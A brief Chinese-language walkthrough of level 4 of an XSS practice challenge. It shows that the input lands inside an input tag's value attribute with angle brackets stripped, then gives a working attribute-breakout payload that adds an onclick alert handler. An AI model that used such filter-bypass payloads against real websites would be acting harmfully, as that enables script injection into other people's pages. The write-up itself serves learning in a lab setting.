4.xss之旅—level4

XSS过程：

输入框：<script>alert(/qwsn/)</script>
//查看源码，发现：script脚本被写在input标签的value的属性值内，<>被替换为空字符
<input name=keyword  value="scriptalert(/qwsn/)/script">

构造payload：闭合value属性，注释input标签，避免使用<>，
" onclick=alert(/qwsn/)//
注意：提交后，点击一下输入框才会提示完成